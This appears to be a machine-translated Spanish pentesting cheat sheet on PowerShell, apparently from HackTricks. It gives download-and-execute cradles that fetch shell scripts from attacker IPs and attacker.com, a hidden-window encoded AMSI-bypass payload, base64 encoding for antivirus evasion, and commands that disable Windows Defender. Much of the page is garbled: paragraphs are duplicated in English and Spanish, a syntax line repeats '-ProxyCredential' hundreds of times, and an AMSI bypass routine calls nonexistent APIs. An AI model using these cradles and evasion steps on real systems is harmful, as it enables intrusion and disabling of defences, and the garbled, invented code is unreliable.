93 KiB
PowerShell básico para pentesters
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el merchandising oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Ubicaciones predeterminadas de PowerShell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Comandos básicos de PS para comenzar
PowerShell (PS) es una poderosa herramienta de línea de comandos y scripting que se utiliza ampliamente en entornos de Windows. Aquí hay algunos comandos básicos de PS que te ayudarán a comenzar:
Obtener información del sistema
Get-Host
: Muestra información sobre la versión de PowerShell que estás utilizando.Get-Process
: Muestra una lista de los procesos en ejecución en el sistema.Get-Service
: Muestra una lista de los servicios en ejecución en el sistema.Get-EventLog
: Muestra los registros de eventos del sistema.
Navegar por el sistema de archivos
Get-ChildItem
: Muestra una lista de los archivos y carpetas en un directorio específico.Set-Location
: Cambia el directorio actual.Copy-Item
: Copia un archivo o carpeta a una ubicación específica.Move-Item
: Mueve un archivo o carpeta a una ubicación específica.Remove-Item
: Elimina un archivo o carpeta.
Administrar usuarios y grupos
Get-LocalUser
: Muestra una lista de los usuarios locales en el sistema.New-LocalUser
: Crea un nuevo usuario local.Remove-LocalUser
: Elimina un usuario local.Get-LocalGroup
: Muestra una lista de los grupos locales en el sistema.Add-LocalGroupMember
: Agrega un usuario a un grupo local.Remove-LocalGroupMember
: Elimina un usuario de un grupo local.
Administrar permisos
Get-Acl
: Muestra los permisos de seguridad de un archivo o carpeta.Set-Acl
: Establece los permisos de seguridad de un archivo o carpeta.Get-NTFSAccess
: Muestra los permisos NTFS de un archivo o carpeta.Set-NTFSAccess
: Establece los permisos NTFS de un archivo o carpeta.
Estos son solo algunos de los comandos básicos de PS que puedes utilizar para administrar y obtener información del sistema. ¡Explora más y descubre todo el potencial de PowerShell!
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Descargar y Ejecutar
To download and execute a file using PowerShell, you can use the following command:
Para descargar y ejecutar un archivo utilizando PowerShell, puedes utilizar el siguiente comando:
Invoke-WebRequest -Uri <URL> -OutFile <output file>; .\<output file>
Replace <URL>
with the URL of the file you want to download, and <output file>
with the desired name for the downloaded file.
Reemplaza <URL>
con la URL del archivo que deseas descargar, y <output file>
con el nombre deseado para el archivo descargado.
This command uses the Invoke-WebRequest
cmdlet to download the file from the specified URL and save it to the local system. The -OutFile
parameter specifies the name of the output file.
Este comando utiliza el cmdlet Invoke-WebRequest
para descargar el archivo desde la URL especificada y guardarlo en el sistema local. El parámetro -OutFile
especifica el nombre del archivo de salida.
After downloading the file, the second part of the command .\<output file>
executes the downloaded file.
Después de descargar el archivo, la segunda parte del comando .\<output file>
ejecuta el archivo descargado.
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Descargar y ejecutar en segundo plano con bypass de AMSI
This technique allows you to download and execute a file in the background while bypassing the Antimalware Scan Interface (AMSI) in Windows.
Requirements
- PowerShell version 5.1 or higher
- Internet access
Instructions
-
Open a PowerShell session with administrative privileges.
-
Run the following command to download the file and save it to a temporary location:
$url = "URL_DEL_ARCHIVO" $output = "RUTA_DE_DESTINO" Invoke-WebRequest -Uri $url -OutFile $output
Replace
URL_DEL_ARCHIVO
with the URL of the file you want to download, andRUTA_DE_DESTINO
with the desired destination path. -
To bypass AMSI, run the following command:
$bytes = [System.IO.File]::ReadAllBytes($output) $encodedCommand = [System.Convert]::ToBase64String($bytes) [System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation') | Out-Null $type = [System.Management.Automation.AmsiUtils]::GetAttributeTable()[0].Invoke($null, @($null)) $amsiUtils = [System.Activator]::CreateInstance($type) $amsiUtils.GetType().GetField('amsiInitFailed', [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($null, $true) [System.Management.Automation.Runspaces.InitialSessionState]::Create().InvokeCommand.InvokeScript($amsiUtils, @($encodedCommand))
-
The file will be executed in the background without triggering AMSI detection.
Note: This technique is for educational purposes only. Unauthorized use is strictly prohibited.
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Usando b64 en Linux
El comando b64
es una herramienta útil para codificar y decodificar archivos en base64 en sistemas operativos Linux. Puede ser utilizado por los pentesters para realizar diversas tareas durante una prueba de penetración.
Codificar un archivo en base64
Para codificar un archivo en base64, puedes utilizar el siguiente comando:
b64 -e archivo > archivo_codificado
Reemplaza "archivo" con la ruta y el nombre del archivo que deseas codificar. El archivo codificado se guardará en el archivo especificado después del símbolo ">".
Decodificar un archivo en base64
Para decodificar un archivo en base64, puedes utilizar el siguiente comando:
b64 -d archivo_codificado > archivo_decodificado
Reemplaza "archivo_codificado" con la ruta y el nombre del archivo codificado que deseas decodificar. El archivo decodificado se guardará en el archivo especificado después del símbolo ">".
Es importante tener en cuenta que el comando b64
debe estar instalado en tu sistema Linux para poder utilizarlo. Puedes instalarlo utilizando el administrador de paquetes de tu distribución Linux.
¡Utiliza el comando b64
de manera responsable y ética durante tus pruebas de penetración!
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Descargar
System.Net.WebClient
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
El comando Invoke-WebRequest
se utiliza en PowerShell para enviar solicitudes HTTP a un servidor web y recibir respuestas. Puede ser utilizado por los pentesters para realizar pruebas de penetración en aplicaciones web.
Sintaxis
Invoke-WebRequest [-Uri] <string> [-Method <string>] [-Headers <hashtable>] [-Body <string>] [-ContentType <string>] [-UserAgent <string>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-TimeoutSec <int>] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-UseBasicParsing] [-DisableKeepAlive] [-SkipCertificateCheck] [-MaximumRedirection <int>] [-MaximumRetryCount <int>] [-MaximumRetryIntervalSec <int>] [-ProxyUseDefaultCredentials] [-ProxyByPassList <string[]>] [-ProxyByPassProxy] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential>] [-ProxyCredential <PSCredential
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is a powerful tool for downloading files and can be used for various purposes, including web scraping, mirroring websites, and downloading files from remote servers.
To use Wget, you simply need to specify the URL of the file you want to download. Wget will then retrieve the file and save it to your local machine. You can also specify additional options to customize the download process, such as setting the output file name, limiting the download speed, and resuming interrupted downloads.
Here are some common examples of how to use Wget:
- Download a file from a URL:
wget http://example.com/file.txt
- Save the downloaded file with a different name:
wget -O output.txt http://example.com/file.txt
- Limit the download speed to 1MB/s:
wget --limit-rate=1M http://example.com/file.txt
- Resume an interrupted download:
wget -c http://example.com/file.txt
Wget is a versatile tool that can be used in various scenarios. It is widely supported and available on most operating systems, including Windows, macOS, and Linux. Whether you are a pentester, a developer, or a sysadmin, Wget can be a valuable addition to your toolkit.
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
BitsTransfer es un módulo de PowerShell que permite la transferencia de archivos en segundo plano utilizando el servicio de transferencia inteligente en segundo plano (BITS) de Windows. BITS es un protocolo de transferencia de archivos que se ejecuta en el sistema operativo Windows y permite la transferencia de archivos de manera eficiente y confiable.
BitsTransfer proporciona una forma conveniente de transferir archivos desde y hacia sistemas remotos utilizando PowerShell. Esto puede ser útil para los pentesters, ya que les permite transferir herramientas y archivos de carga útil a sistemas comprometidos, así como recuperar datos y resultados de las operaciones de pentesting.
El módulo BitsTransfer incluye cmdlets que permiten a los pentesters crear, administrar y monitorear transferencias de archivos. Algunos de los cmdlets más comunes incluyen:
Start-BitsTransfer
: Inicia una transferencia de archivos BITS.Complete-BitsTransfer
: Completa una transferencia de archivos BITS que está en progreso.Get-BitsTransfer
: Obtiene información sobre las transferencias de archivos BITS en curso.Remove-BitsTransfer
: Elimina una transferencia de archivos BITS.
BitsTransfer es una herramienta poderosa para los pentesters que desean transferir archivos de manera eficiente y confiable durante sus operaciones de pentesting en sistemas Windows.
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali y EncodedCommand
En algunas situaciones, como durante una prueba de penetración, es posible que necesitemos codificar comandos de PowerShell para evitar la detección por parte de los sistemas de seguridad. Una técnica comúnmente utilizada es la codificación Base64.
En Kali Linux, podemos utilizar la herramienta base64
para codificar nuestros comandos de PowerShell. Aquí hay un ejemplo de cómo hacerlo:
echo "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')" | base64
Esto codificará el comando de PowerShell en Base64. Luego, podemos utilizar el comando codificado en un script de PowerShell de la siguiente manera:
powershell.exe -EncodedCommand <comando_codificado_en_Base64>
Reemplaza <comando_codificado_en_Base64>
con el resultado de la codificación Base64 del comando de PowerShell que deseas ejecutar.
Esta técnica puede ser útil para evadir la detección de antivirus y firewalls, ya que el comando codificado en Base64 puede parecer inofensivo a simple vista. Sin embargo, es importante tener en cuenta que no todos los sistemas de seguridad pueden ser engañados por esta técnica, por lo que es necesario evaluar el entorno objetivo antes de utilizarla.
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Política de ejecución
Lenguaje restringido
Política de AppLocker
Habilitar WinRM (PS remoto)
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Desactivar Defender
{% code overflow="wrap" %}
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
{% endcode %}
Bypass de AMSI
amsi.dll
